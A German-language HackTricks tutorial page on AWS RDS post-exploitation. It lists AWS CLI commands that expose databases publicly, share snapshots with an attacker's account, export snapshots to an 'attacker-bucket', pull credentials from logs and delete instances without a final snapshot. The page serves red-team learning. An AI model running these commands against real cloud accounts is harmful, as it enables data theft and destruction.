AWS - RDS Post Exploitation

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

RDS

Für weitere Informationen siehe:

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Wenn der Angreifer über ausreichende Berechtigungen verfügt, könnte er eine DB öffentlich zugänglich machen, indem er einen Snapshot der DB erstellt und dann eine öffentlich zugängliche DB aus dem Snapshot erstellt.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Ein Angreifer mit diesen Berechtigungen könnte einen Schnappschuss einer DB erstellen und ihn öffentlich verfügbar machen. Anschließend könnte er in seinem eigenen Konto eine DB aus diesem Schnappschuss erstellen.

Wenn der Angreifer nicht über das rds:CreateDBSnapshot verfügt, könnte er dennoch andere erstellte Schnappschüsse öffentlich machen.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Ein Angreifer mit der Berechtigung rds:DownloadDBLogFilePortion kann Teile der Protokolldateien einer RDS-Instanz herunterladen. Wenn sensible Daten oder Zugriffsberechtigungen versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder nicht autorisierte Aktionen durchzuführen.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potenzielle Auswirkungen: Zugriff auf sensible Informationen oder unbefugte Aktionen unter Verwendung von durchgesickerten Anmeldeinformationen.

rds:DeleteDBInstance

Ein Angreifer mit diesen Berechtigungen kann bestehende RDS-Instanzen DoS.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potenzielle Auswirkungen: Löschung vorhandener RDS-Instanzen und potenzieller Datenverlust.

rds:StartExportTask

TODO: Test

Ein Angreifer mit dieser Berechtigung kann einen RDS-Instanz-Snapshot in einem S3-Bucket exportieren. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten innerhalb des exportierten Snapshots zugreifen.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potenzielle Auswirkungen: Zugriff auf sensible Daten im exportierten Snapshot.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated